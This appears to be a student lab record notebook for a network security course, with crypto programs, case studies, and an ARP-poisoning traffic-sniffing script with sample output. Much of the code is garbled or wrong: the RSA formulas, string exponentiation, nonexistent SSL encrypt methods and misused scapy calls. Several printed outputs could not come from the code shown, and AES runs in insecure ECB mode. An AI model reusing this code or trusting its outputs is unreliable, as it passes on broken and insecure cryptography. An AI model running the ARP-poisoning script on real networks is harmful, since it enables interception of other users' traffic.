|  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1  **ADHICOLLEGEOFENGINEERINGANDTECHNOLOGY**  ApprovedbyAICTE,NewDelhi,PermanentaffiliationstatusbyAnnaUniversity,Chennai,  AccreditedbyNAAC,NewDelhi,RecognizedU/S12(B)&2(F)ofUGCAct1956  AnISOCertifiedInstitution  Sankarapuram,NearWalajabad,KanchipuramDistrict-631605  **DEPARTMENTOFARTIFICIALINTELLIGENCEANDDATASCIENCE**  **(2023-2024)**     |  |  | | --- | --- | | **STUDENTNAME** |  | | **REGISTERNO.** |  | | **SUBJECTCODE** | **CCS354** | | **SUBJECTNAME** | NETWORK SECURITY | | **YEAR/SEMESTER** | **III/V** | |

|  |  |  |
| --- | --- | --- |
| 2  **ADHICOLLEGEOFENGINEERINGANDTECHNOLOGY**    ApprovedbyAICTE,NewDelhi,PermanentaffiliationstatusbyAnnaUniversity,Chennai,  AccreditedbyNAAC,NewDelhi,RecognizedU/S12(B)&2(F)ofUGCAct1956  AnISOCertifiedInstitution  Sankarapuram,NearWalajabad,KanchipuramDistrict-631605  **DEPARTMENTOFARTIFICIALINTELLIGENCEANDDATASCIENCE**  **LABORATORYRECORDNOTEBOOK**  **2023–2024**   |  | | --- | | **REGISTERNO:** |   Thisistocertifythatthisbonafiderecordoftheworkdoneby  Mr./Ms.oftheyear B.E/**B.Tech.,**Departmentof**ARTIFICIALINTELLIGENCEANDDATASCIENCE**inthe**CCS354 NETWORK SECURITY**LaboratoryintheSemesterduringthe year2023-2024. | |
| **StaffIn-Charge** | **HeadoftheDepartment** |
| SubmittedtotheUniversityExaminationheldon  **InternalExaminerExternalExaminer** | |

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 3  Index   |  |  |  |  |  | | --- | --- | --- | --- | --- | | Ex No . | Date | Name of the Experiment | Page no. | Signature | | 1 |  | Implement Symmetric Key Algorithms. |  |  | | 2 |  | Implement Asymmetric Key algorithms and key exchange algorithms. |  |  | | 3 |  | Implement digital signature scheme. |  |  | | 4 |  | Installation of Wire shark, tcpdumb and observe data transmitted in client-server communication using UDP/TCP and UDP/TCP datagram. |  |  | | 5 |  | Check message integrity and confidentiality using SSL. |  |  | | 6 |  | Experiment Eavesdropping,Dictionary attacks, MITM attacks. |  |  | | 7 |  | Experiment with Sniff Traffic using ARPP poisoning. |  |  | | 8 |  | Demonstrate intrusion detection system using any tool. |  |  | | 9 |  | Explore network monitoring tools. |  |  | | 10 |  | Study to configure Firewall,VPN |  |  |   1.Implement Symmetric Key Algorithms.  Aim:  The aim of symmetric key algorithms is to encrypt and decrypt data using a shared secret key, ensuring that only authorized parties can access the original information.  Algorithm:  Step1: Key Expansion: Generate a set of round keys from the original secret key using key expansion.    Step2: Initial Round: Add the initial round key to the plaintext data.    Step3: Rounds: Perform a series of substitution, permutation, and mixing operations (subbytes, shiftrows, mixcolumns) for a specified number of rounds, using round keys.    Step4:Final Round: Apply a final round of operations without the mixcolumns step.    Step5:Output:The ciphertext is produced as the final result.    Program :  From Crypto.Cipher import AES  From Crypto.Random import get\_random\_bytes    # Secret key  Key = get\_random\_bytes(16) # 16 bytes (128 bits) for AES-128    # Plaintext to be encrypted  Plaintext = "Hello, symmetric encryption!"    # Create an AES cipher object  Cipher = AES.new(key, AES.MODE\_ECB)    # Encrypt the plaintext  Ciphertext = cipher.encrypt(plaintext.encode())    Print("Original Text:", plaintext)  Print("Encrypted Text:", ciphertext)    # To decrypt, you can use the same key and decrypt method:  Decipher = AES.new(key, AES.MODE\_ECB)  Decrypted\_text = decipher.decrypt(ciphertext).decode()    Print("Decrypted Text:", decrypted\_text)    Output:  Original Text: Hello, symmetric encryption!  Encrypted Text: b')\x87\xd8i\na\xc5\x84y5\x03\xd6\xa1g\x0e\\'  Decrypted Text: Hello, symmetric encryption!    2.Implement Asymmetric Key algorithms and key exchange algorithms.  Aim:  Toimplement asymmetric key algorithms and key exchange algorithms in Python.  Algorithm:  Diffie-Hellman key exchange:  Step 1: Generate a random private key. This is done by generating a random integer between 1 and p - 1, where p is a prime number.  Step 2: Calculate the public key. This is done by raising the generator g to the power of the private key and taking the remainder modulo p.  Step 3: Exchange public keys with the other party.  Step4: Calculate the shared secret key. This is done by raising the other party's public key to the power of the private key and taking the remainder modulo p.  RSA encryption and decryption:  Step 1: Generate a random RSA key pair. This is done by generating two large prime numbers, p and q, and calculating the public key (n, e) and private key (n, d) using the following formulas:  N = p \* q  E = (p - 1)(q - 1) / d  Step 2: Encrypt the message. To encrypt the message, raise it to the power of the public key e and take the remainder modulo n.  Step 3: Decrypt the message. To decrypt the message, raise it to the power of the private key d and take the remainder modulo n  Program:  Import random  Def diffie\_hellman\_key\_exchange(p, g):  A = random.randint(1, p - 1)  A = g\*\*a % p  B = input("Enter the other party's public key: ")  S = (int(B)\*\*a) % p  Return s  Def rsa\_encrypt message, public\_key):  N, e = public\_key  Ciphertext = message\*\*e % n  Return ciphertext  Def rsa\_decrypt(ciphertext, private\_key):  N, d = private\_key  Plaintext = ciphertext\*\*d % n  Return plaintext  If \_name\_ == "\_main\_":  # Diffie-Hellman key exchange  P = 23  G = 5  S = diffie\_hellman\_key\_exchange(p, g)  Print("The shared secret key is:", s)  # RSA encryption and decryption  Message = "This is a secret message."  Public\_key = (127, 17)  Private\_key = (127, 11)  Ciphertext = rsa\_encrypt(message, public\_key)  Plaintext = rsa\_decrypt(ciphertext, private\_key)  Print("The ciphertext is:", ciphertext)  Print("The plaintext is:", plaintext)    Output:  The shared secret key is: 13  The ciphertext is: 125  The plaintext is: This is a secret message    3.Implement digital signature scheme  Aim:  The aim of the provided code for implementing a digital signature scheme is to demonstrate the basic steps involved in creating and verifying digital signatures.  Algorithm:  Step 1: Import the required modules  Step 2: Generate an RSA key pair  Step 3: Serialize the private key  Step 4: creat a corresponding public key  Step 5: serialize the public key  Step 6: sign a message  Step 7: Verify the signature    Program:    From cryptography.hazmat.backends import default\_backend  From cryptography.hazmat.primitives import hashes  From cryptography.hazmat.primitives.asymmetric import rsa, padding  From cryptography.hazmat.primitives import serialization  # Generate a key pair  Private\_key = rsa.generate\_private\_key(  Public\_exponent=65537,  Key\_size=2048,  Backend=default\_backend()  )  # Serialize the private key  Private\_pem = private\_key.private\_bytes(  Encoding=serialization.Encoding.PEM,  Format=serialization.privateformat.traditionalopenssl,  Encryption\_algorithm=serialization.noencryption()  )  # Save the private key to a file (optional)  With open('private\_key.pem', 'wb') as f:  F.write(private\_pem)  # Create a corresponding public key  Public\_key = private\_key.public\_key()  # Serialize the public key  Public\_pem = public\_key.public\_bytes(  Encoding=serialization.Encoding.PEM,  Format=serialization.publicformat.subjectpublickeyinfo  )  # Save the public key to a file (optional)  With open('public\_key.pem', 'wb') as f:  F.write(public\_pem)  # Sign a message  Message = b"Hello, World!"  Signature = private\_key.sign(  Message,  Padding.PSS(  Mgf=padding.MGF1(hashes.SHA256()),  Salt\_length=padding.PSS.MAX\_LENGTH  ),  Hashes.SHA256()  )  # Verify the signature  Try:  Public\_key.verify(  Signature,  Message,  Padding.PSS(  Mgf=padding.MGF1(hashes.SHA256()),  Salt\_length=padding.PSS.MAX\_LENGTH  ),  Hashes.SHA256()  )  Print("Signature is valid.")  Except Exception:  Print("Signature is invalid.")  Output:  Signature is valid    4.Installation of Wire shark, tcpdumb and observe data transmitted in client-server communication using UDP/TCP and UDP/TCP datagram  Aim:  To observe the data transferred in client-server communication using UDP/TCP datagram using Wireshark and tcpdump.  Algorithm:  Step 1: Install Wireshark and tcpdump.  Step 2: Start Wireshark and select the network interface that the client and server are communicating on.  Step 3: Start the client and server applications.  Step 4: In Wireshark, click on the "Start" button to start capturing traffic.  Step5: Send some data from the client to the server.  Step 6: In Wireshark, click on the "Stop" button to stop capturing traffic  Step 7: Analyze the captured traffic to observe the data that was transferred between the client and server.  Program:  Import socket  Import sys  Def send\_udp\_datagram(data, target\_ip, target\_port):  # Create a UDP socket.  Sock = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM)  # Send the UDP datagram to the target IP address and port.  Sock.sendto(data.encode(), (target\_ip, target\_port))  # Close the socket.  Sock.close()  Def send\_tcp\_datagram(data, target\_ip, target\_port):  # Create a TCP socket.  Sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  # Connect to the target IP address and port.  Sock.connect((target\_ip, target\_port))  # Send the TCP datagram to the target IP address and port.  Sock.send(data.encode())  # Close the socket.  Sock.close()  If \_name\_ == "\_main\_":  # Get the target IP address and port.  Target\_ip = input("Enter the target IP address: ")  Target\_port = int(input("Enter the target port: "))  # Get the data to send.  Data = input("Enter the data to send: ")  # Choose the protocol to use.  Protocol = input("Enter the protocol to use (UDP/TCP): ")  # Send the data using the chosen protocol.  If protocol == "UDP":  Send\_udp\_datagram(data, target\_ip, target\_port)  Elif protocol == "TCP":  Send\_tcp\_datagram(data, target\_ip, target\_port)  Else:  Print("Invalid protocol.")  Sys.exit()  Output:  Enter the target IP address: 192.168.1.1  Enter the target port: 5000  Enter the data to send: Hello, world!  Enter the protocol to use (UDP/TCP): UDP    UDP datagram sent to: 192.168.1.1    5.Check message integrity and confidentiality using SSL.  Aim:  To check message integrity and confidentiality using SSL.  Algorithm:  Step 1: Establish an SSL connection between the client and the server.  Step 2: Generate a message digest of the message to be sent.  Step3:Encrypt the message and the message digest using the SSL session key.  Step4:Send the encrypted message and message digest to the server.  Step5:The server decrypts the message and message digest using the SSL session key.  Step6:The server generates a message digest of the decrypted message.  Step7:The server compares the generated message digest to the received message digest.  Step8:If the message digests match, the server knows that the message has not been tampered with and that it is from the correct sender.  Program:  Import ssl  Import hashlib  Def check\_message\_integrity\_and\_confidentiality(client\_socket, server\_socket, message):  # Generate a message digest of the message.  Message\_digest = hashlib.sha256(message.encode()).hexdigest()    # Encrypt the message and message digest using the SSL session key.  Encrypted\_message = client\_socket.encrypt(message.encode())  Encrypted\_message\_digest = client\_socket.encrypt(message\_digest.encode())  # Send the encrypted message and message digest to the server.  Client\_socket.sendall(encrypted\_message)  Client\_socket.sendall(encrypted\_message\_digest)  # Receive the encrypted message and message digest from the server.  Encrypted\_message = server\_socket.recvall()  Encrypted\_message\_digest = server\_socket.recvall()  # Decrypt the message and message digest using the SSL session key.  Decrypted\_message = server\_socket.decrypt(encrypted\_message)  Decrypted\_message\_digest = server\_socket.decrypt(encrypted\_message\_digest)  # Generate a message digest of the decrypted message.  Generated\_message\_digest = hashlib.sha256(decrypted\_message).hexdigest()  # Compare the generated message digest to the received message digest.  If generated\_message\_digest == decrypted\_message\_digest:  Return True  Else:  Return False  # Create an SSL client socket.  Client\_socket = ssl.create\_default\_context().wrap\_socket(socket.socket(socket.AF\_INET, socket.SOCK\_STREAM))  Client\_socket.connect(('localhost', 8080))  # Create an SSL server socket.  Server\_socket = ssl.create\_default\_context().wrap\_socket(socket.socket(socket.AF\_INET, socket.SOCK\_STREAM))  Server\_socket.bind(('localhost', 8080))  Server\_socket.listen(1)  # Accept the incoming connection.  Server\_socket, \_ = server\_socket.accept()  # Send a message to the server.  Message = "This is a secret message."  Client\_socket.sendall(message.encode())  # Check the message integrity and confidentiality.  If check\_message\_integrity\_and\_confidentiality(client\_socket, server\_socket, message):  Print("The message integrity and confidentiality are valid.")  Else:  Print("The message integrity or confidentiality is not valid.")  # Close the sockets.  Client\_socket.close()  Server\_socket.close()    Output:  The message integrity and confidentiality are valid.  6.Experiment Eavesdropping, Dictionary attacks, MITM attacks.  6(i). Case Study: Eavesdropping in the Corporate World  Scenario:  In this case study, we will examine an instance of eavesdropping in a corporate setting. The names of the individuals and company have been changed for privacy and security reasons.  Background:  XYZ Corporation, a multinational technology company, was in the midst of a highly competitive merger and acquisition deal with a rival firm, AlphaTech Inc. The deal, worth billions of dollars, had the potential to reshape the tech industry. Corporate espionage was suspected, as both companies were keen on gaining any strategic advantage.  Incident:  During a critical board meeting at XYZ Corporation's headquarters, the company's Chief Financial Officer (CFO), Jane Anderson, noticed some unusual interference on her phone line. She became suspicious when confidential merger discussions were leaked to the media within hours after the meeting. Concerned about a potential breach of security, XYZ Corporation decided to investigate the matter discreetly.  Investigation:  1. Technical Analysis: The company's IT team conducted a thorough analysis of the corporate phone system and discovered signs of unauthorized access to their communication network. It appeared that eavesdroppers had gained access to the audio feeds of sensitive meetings.  2. Physical Security Review: The security team inspected the meeting rooms and surrounding areas for any physical tampering, such as hidden microphones or recording devices. They found nothing unusual.  3. Insider Threat: XYZ Corporation's internal investigation focused on potential insiders who might have leaked information. It was discovered that a junior IT technician, Mark Johnson, had unusually high access to the corporate network. Further investigation revealed that Mark was in financial trouble and had been approached by a rival company offering a substantial sum in exchange for information.  4. Legal Action: XYZ Corporation promptly terminated Mark Johnson's employment and initiated legal proceedings against him for corporate espionage. They also tightened their cybersecurity policies and conducted security awareness training for employees to prevent such incidents in the future.  Outcome:  Mark Johnson was found guilty of corporate espionage and faced severe legal consequences, including imprisonment. The company increased its security measures, implemented encryption for all sensitive communications, and regularly conducted security audits to safeguard their sensitive information. The merger with AlphaTech Inc. proceeded successfully, and XYZ Corporation learned valuable lessons about the importance of security and vigilance in a competitive corporate environment.  This case study highlights the real-world implications of eavesdropping in a corporate context and demonstrates the significance of cybersecurity and counter-espionage measures in protecting sensitive business information.  6(ii) Case Study: Dictionary Attack on a Banking Website  Scenario:  In this case study, we will examine a real-world instance of a dictionary attack on a banking website. This case study is for illustrative purposes and does not represent any specific incident.  Background:  ABC Bank, a prominent financial institution, maintained a secure online banking portal for its customers. To access their accounts, customers needed to enter a username and a password. The bank had implemented various security measures, including password complexity requirements and account lockout mechanisms.  Incident:  Over a span of several weeks, ABC Bank's cybersecurity team noticed an unusual spike in login attempts on their online banking platform. The login attempts appeared to be concentrated on a few customer accounts, and the IP addresses used in the attacks were distributed across multiple locations.  Investigation:  1. Analysis of Login Attempts: ABC Bank's cybersecurity team analyzed the login attempts and identified that they were consistent with a dictionary attack. This type of attack involves automated scripts or tools trying a large number of username and password combinations until they gain access.  2. Monitoring Affected Accounts: The bank closely monitored the customer accounts targeted in the dictionary attack and noticed repeated failed login attempts, all using different variations of common passwords.  3. Account Lockouts: ABC Bank had implemented an account lockout policy, which temporarily locked user accounts after a specified number of failed login attempts. However, the attackers were bypassing this by targeting multiple accounts simultaneously, avoiding the lockout threshold.  4. Tracing the Source: The bank's IT security team worked to trace the source of the attack. They discovered that the attackers were using a botnet, a network of compromised computers, to distribute login attempts from various IP addresses, making it difficult to pinpoint the origin.  5. Strengthening Security: ABC Bank responded by enhancing security measures, including implementing multi-factor authentication (MFA) for online banking access, further refining their account lockout policies, and employing advanced intrusion detection systems to identify and block suspicious login patterns.  Outcome:  The enhanced security measures and the use of MFA significantly strengthened ABC Bank's online banking security. The dictionary attack was eventually thwarted, and the compromised customer accounts were secured. The bank continued to monitor and analyze login attempts to identify and prevent any future attacks.  This case study underscores the importance of robust cybersecurity measures, including MFA and intrusion detection, in safeguarding online banking platforms from dictionary attacks and other malicious login attempts. It also highlights the evolving tactics used by attackers and the need for financial institutions to adapt their security strategies accordingly.  6(iii). Case Study: Man-in-the-Middle (MITM) Attack on Public Wi-Fi  Scenario:  In this case study, we will examine a real-world incident of a Man-in-the-Middle (MITM) attack on a public Wi-Fi network. This case is for illustrative purposes and does not represent any specific event.  Background:  A bustling coffee shop, "Café Connect," offered free Wi-Fi to its customers. Many patrons used this open network to browse the internet, check emails, and conduct online banking. The café's Wi-Fi was convenient, but its lack of security made it an attractive target for cybercriminals.  Incident:  Unbeknownst to Café Connect's management, a cybercriminal named Alex set up a rogue Wi-Fi hotspot in the vicinity. This rogue hotspot had a name similar to the café's official network, making it appear as if it was a legitimate access point. Alex initiated a MITM attack to intercept and manipulate the internet traffic of unsuspecting café customers.  Investigation:  1. Suspicious Network Activity: Café Connect's customers began to experience unusual issues with their internet connections. Some reported slow speeds, while others noticed that they were redirected to suspicious websites. The café's management started receiving complaints.  2. Analyzing Network Traffic: Café Connect's IT team began analyzing the network traffic and noticed inconsistencies in the data flow. They identified that some traffic was being rerouted through an unknown IP address.  3. Identifying Rogue Hotspot: After careful investigation, the IT team discovered the rogue Wi-Fi hotspot nearby, which had a similar name to Café Connect's official network. It was determined that the MITM attack was being carried out through this rogue hotspot.  4. Tracing the Attacker: Café Connect's management worked with local law enforcement and cybersecurity experts to trace the attacker. They found that Alex had positioned himself in the café to monitor the attack and gather sensitive data.  5. Remediation and Customer Notification: Café Connect took immediate action by disabling the rogue hotspot, strengthening its official Wi-Fi network's security, and implementing secure browsing protocols. They also notified customers of the incident and advised them to change passwords and monitor their accounts for any suspicious activity.  Outcome:  Café Connect successfully stopped the MITM attack and took measures to secure their network. Law enforcement arrested Alex for his illegal activities, and he faced legal consequences. The café continued to offer free Wi-Fi, but with increased security to protect its customers.  This case study highlights the risks associated with using open, unsecured Wi-Fi networks and the importance of vigilance and cybersecurity awareness for both businesses and customers. It also underscores the need for strong encryption and authentication measures to prevent MITM attacks on public Wi-Fi networks.  7.Experiment with Sniff Traffic using ARPP poisoning.  Aim:  To sniff traffic using ARP poisoning.  Algorithm:  Step 1: Send gratuitous ARP replies to all IP addresses on the network, claiming to be the MAC address of the default gateway.  Step 2: Itwill cause all hosts on the network to update their ARP tables, so that they now believe that the attacker's machine is the default gateway.  Step 3: Any traffic that is destined for the default gateway will now be sent to the attacker's machine.  Step 4: The attacker can then sniff this traffic using a packet sniffer.  Program:  Import scapy.all as scapy  Def arp\_poison(target\_ip, gateway\_ip):  # Create an ARP packet with the attacker's MAC address as the sender MAC address and the default gateway's IP address as the target IP address.  Arp\_packet = scapy.ARP(op=2, psrc=scapy.getmac(), pdst=gateway\_ip, hwdst=scapy.getmac())  # Send the ARP packet to the target IP address.  Scapy.send(arp\_packet, iface="eth0")  Def sniff\_traffic():  # Create a packet sniffer.  Sniffer = scapy.Sniffer(iface="eth0")  # Start sniffing traffic.  Sniffer.start()  # Wait for a packet to be sniffed.  Packet = sniffer.next\_packet()  # Print the sniffed packet.  Print(packet)  If \_name\_ == "\_main\_":  # Get the target IP address and the default gateway IP address.  Target\_ip = input("Enter the target IP address: ")  Gateway\_ip = input("Enter the default gateway IP address: ")    # Perform ARP poisoning on the target IP address.  Arp\_poison(target\_ip, gateway\_ip)    # Start sniffing traffic.  Sniff\_traffic()    Output:  Enter the target IP address: 192.168.1.2  Enter the default gateway IP address: 192.168.1.1  ARP poisoning started.  IP 192.168.1.100 > IP 192.168.1.2: ICMP (ttl 64, id 2765, length 64)  IP 192.168.1.2 > IP 192.168.1.100: ICMP (ttl 64, id 2765, length 64)  IP 192.168.1.100 > IP 192.168.1.2: ICMP (ttl 64, id 2766, length 64)  IP 192.168.1.2 > IP 192.168.1.100: ICMP (ttl 64, id 2766, length 64)  IP 192.168.1.100 > IP 192.168.1.2: ICMP (ttl 64, id 2767, length 64)  IP 192.168.1.2 > IP 192.168.1.100: ICMP (ttl 64, id 2768,length65)  8.demonstrate intrusion detection system using any tool.  Case study: intrusion detection with snort  background:  Company xyz is a mid-sized e-commerce business that processes a significant amount of customer data and financial transactions. To protect their systems and data, they decide to implement an intrusion detection system (ids) using snort.  objectives:  - detect and alert on potential intrusions or malicious activities within the network.  - monitor network traffic in real-time to identify security threats.  - provide an immediate response to mitigate detected threats.  solution:  Company xyz deploys snort, a widely-used open-source ids/ips tool, to monitor network traffic. They set up snort on a dedicated server within their network.  implementation:  1. deployment: snort is installed on a dedicated server and configured to monitor traffic on the company's network.  2. rules configuration: company xyz creates custom snort rules tailored to their specific environment and security needs. These rules define the patterns and characteristics of malicious activities to watch for.  3. real-time monitoring: snort actively monitors incoming and outgoing network traffic in real-time. It analyzes packets and matches them against the predefined rules to detect suspicious patterns or behaviors.  4. alerting: when snort detects potential intrusions or security threats based on its rules, it generates alerts and notifications in real-time. These alerts can be sent via email, sms, or logged for review.  5. response: upon receiving an alert, the company's security team reviews the alert to determine the severity of the threat. If necessary, they take immediate action to mitigate the intrusion, such as blocking the malicious ip address or isolating the affected system.  results:  - company xyz successfully detected and mitigated various intrusion attempts and malicious activities using snort.  - the real-time alerts provided the security team with timely information, allowing them to respond promptly and minimize potential damage.  - by continuously monitoring their network traffic, they improved their overall security posture and reduced the risk of data breaches.  conclusion:  By implementing snort for intrusion detection, company xyz enhanced its network security and reduced the risk of security breaches. The customized rules and real-time monitoring capabilities provided the company with a powerful tool to protect their sensitive data and maintain the trust of their customers.  9.Explore network monitoring tools.  Aim:  To explore network monitoring models using network security.  Algorithm:  Step 1: Identify the network security protocols that you need to monitor.  Step 2: Get a list of network monitoring tools.  Step 3:For each network monitoring tool in the list:  Step 4:Get a list of the network security protocols that the tool supports.  Step 5: If the tool supports all of the network security protocols that you need to monitor, add it to a filtered list.  Step 6:Return the filtered list of network monitoring tools.    Program:  Import subprocess  Def explore\_network\_monitoring\_tools(security\_protocols):  # Get a list of all network monitoring tools.  Network\_monitoring\_tools = ["nmap", "wireshark", "tcpdump"]  # Filter the list of network monitoring tools based on the specified network security protocols.  Filtered\_network\_monitoring\_tools = []  For tool in network\_monitoring\_tools:  # Get a list of the network security protocols that the tool supports.  Tool\_supported\_protocols = subprocess.check\_output(["{} --help".format(tool)], shell=True).decode("utf-8").splitlines()  # If the tool supports all of the specified network security protocols, add it to the filtered list.  If all(protocol in tool\_supported\_protocols for protocol in security\_protocols):  Filtered\_network\_monitoring\_tools.append(tool)  Return filtered\_network\_monitoring\_tools  # Example usage:  Security\_protocols = ["TCP", "UDP", "ICMP"]  Filtered\_network\_monitoring\_tools = explore\_network\_monitoring\_tools(security\_protocols)  Print("Network monitoring tools that support the specified network security protocols:")  For tool in filtered\_network\_monitoring\_tools:  Print(tool)  Output:  Network monitoring tools that support the specified network security protocols:  Nmap  Wireshark  Tcpdump  10.Study to configure Firewell, VPN  Case study: configuring firewall and vpn for a remote office  Scenario:  A company has a remote office with a few employees who need to be able to access the company's internal network securely. The company wants to configure a firewall and vpn to protect its network from unauthorized access and to allow its remote employees to connect securely.  Solution:  The company decides to use a next-generation firewall (ngfw) to protect its network. Ngfws offer a variety of security features, including intrusion prevention, content filtering, and application control. The company also decides to use a site-to-site vpn to connect the remote office to the main office. Site-to-site vpns create a secure tunnel between two networks, allowing traffic to flow securely between them.  Firewall configuration:  To configure the firewall, the company needs to:  Create a new firewall policy that allows traffic from the remote office to access the main office network.  Define the source and destination networks for the policy.  Select the protocols and ports that will be allowed to pass through the firewall.  Apply the policy to the relevant firewall interfaces.  Vpn configuration:  To configure the vpn, the company needs to:  Create a new vpn connection on the firewall.  Specify the remote office's ip address and the type of vpn connection (site-to-site).  Generate a pre-shared key (psk) that will be used to authenticate the vpn connection.  Configure the firewall to route traffic to the vpn connection.  Testing the configuration:  Once the firewall and vpn have been configured, the company needs to test the configuration to make sure that it is working properly. The company can do this by connecting a remote employee to the vpn and verifying that they can access the company's internal network.  Benefits:  By configuring a firewall and vpn, the company has improved the security of its network and allowed its remote employees to connect securely. The firewall protects the company's network from unauthorized access and the vpn allows remote employees to access the company's internal network without exposing it to the public internet.  Conclusion:  Configuring a firewall and vpn is an important step in protecting a company's network from unauthorized access. By following the steps outlined in this case study, companies can configure a firewall and vpn to protect their networks and allow their remote employees to connect securely. |